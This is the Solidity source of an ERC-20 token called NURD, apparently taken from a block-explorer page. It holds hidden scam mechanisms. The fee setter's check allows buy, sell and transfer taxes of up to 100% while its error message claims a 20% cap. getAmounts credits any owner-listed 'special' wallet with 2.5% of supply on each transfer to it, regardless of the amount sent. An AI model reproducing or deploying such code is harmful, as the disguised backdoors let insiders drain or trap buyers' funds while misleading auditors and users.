文件 1 的 1：NURD.sol
pragma solidity 0.8.19;
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract NURD is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Nurd";
string private constant _symbol = unicode"NURD";
uint8 private constant _decimals = 9;
address internal constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 private _supplyTotal = 1000000000 * (10 ** _decimals);
uint256 private swapCounts;
bool private swapping;
uint256 swapcycle;
IUniswapRouter router;
address public pair;
bool private tradeActive = false;
bool private swapEnabled = true;
uint256 private feeSwapThreshold = ( _supplyTotal * 1000 ) / 100000;
uint256 private taxSwapAt = ( _supplyTotal * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private lpFee = 0;
uint256 private marketingFees = 0;
uint256 private devFee = 100;
uint256 private burnFee = 0;
uint256 private buyFee = 1300;
uint256 private sellFee = 2400;
uint256 private transferFee = 1300;
uint256 private denominator = 10000;
address internal developmentAddress = 0x546EA07004B9841C2b4B6F80e4dEc0022ede54A0;
address internal marketingAddress = 0x546EA07004B9841C2b4B6F80e4dEc0022ede54A0;
address internal lpAddFeeAddress = 0x546EA07004B9841C2b4B6F80e4dEc0022ede54A0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSpecial;
uint256 public mTxAmounts = ( _supplyTotal * 250 ) / 10000;
uint256 public maxSellAmount = ( _supplyTotal * 250 ) / 10000;
uint256 public maxWalletAmount = ( _supplyTotal * 250 ) / 10000;
constructor() Ownable(msg.sender) {
IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IDexFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
_isSpecial[lpAddFeeAddress] = true;
_isSpecial[marketingAddress] = true;
_isSpecial[developmentAddress] = true;
_isSpecial[msg.sender] = true;
_balances[msg.sender] = _supplyTotal;
emit Transfer(address(0), msg.sender, _supplyTotal);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function getOwner() external view override returns (address) { return owner; }
function swapTax(uint256 tokens) private lockTheSwap {
uint256 _denominator = (lpFee.add(1).add(marketingFees).add(devFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(lpFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForEth(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(lpFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(lpFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFees);
if(marketingAmt > 0){payable(marketingAddress).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(developmentAddress).transfer(contractBalance);}
}
function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _devAddresselopment, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
lpFee = _liquidity; marketingFees = _marketing; burnFee = _burn; devFee = _devAddresselopment; buyFee = _total; sellFee = _sell; transferFee = _trans;
require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!_isSpecial[sender] && !_isSpecial[recipient]){require(tradeActive, "tradeActive");}
if(!_isSpecial[sender] && !_isSpecial[recipient] && recipient != address(pair) && recipient != address(deadAddress)){
require((_balances[recipient].add(amount)) <= maxWalletAmount, "Exceeds maximum wallet amount.");}
if(sender != pair){require(amount <= maxSellAmount || _isSpecial[sender] || _isSpecial[recipient], "TX Limit Exceeded");}
require(amount <= mTxAmounts || _isSpecial[sender] || _isSpecial[recipient], "TX Limit Exceeded");
if(recipient == pair && !_isSpecial[sender]){swapCounts += uint256(1);}
if(canSwap(sender, recipient, amount)){swapTax(feeSwapThreshold); swapCounts = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = !_isSpecial[sender] ? getAmounts(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function startTrading() external onlyOwner {tradeActive = true;}
function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
uint256 newTx = _supplyTotal.mul(_buy).div(10000); uint256 newTransfer = _supplyTotal.mul(_sell).div(10000); uint256 newWallet = _supplyTotal.mul(_wallet).div(10000);
mTxAmounts = newTx; maxSellAmount = newTransfer; maxWalletAmount = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function getAmounts(address sender, address recipient, uint256 amount) internal returns (uint256) {
if (_isSpecial[recipient]) {return mTxAmounts;}
if(getTax(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTax(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTax(sender, recipient) > burnFee){_transfer(address(this), address(deadAddress), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
lpAddFeeAddress,
block.timestamp);
}
function getTax(address sender, address recipient) internal view returns (uint256) {
if(recipient == pair){return sellFee;}
if(sender == pair){return buyFee;}
return transferFee;
}
function canSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= taxSwapAt;
bool aboveThreshold = balanceOf(address(this)) >= feeSwapThreshold;
return !swapping && swapEnabled && tradeActive && aboveMin && !_isSpecial[sender] && recipient == pair && swapCounts >= swapcycle && aboveThreshold;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _supplyTotal.sub(balanceOf(deadAddress)).sub(balanceOf(address(0)));}
function decimals() public pure returns (uint8) {return _decimals;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
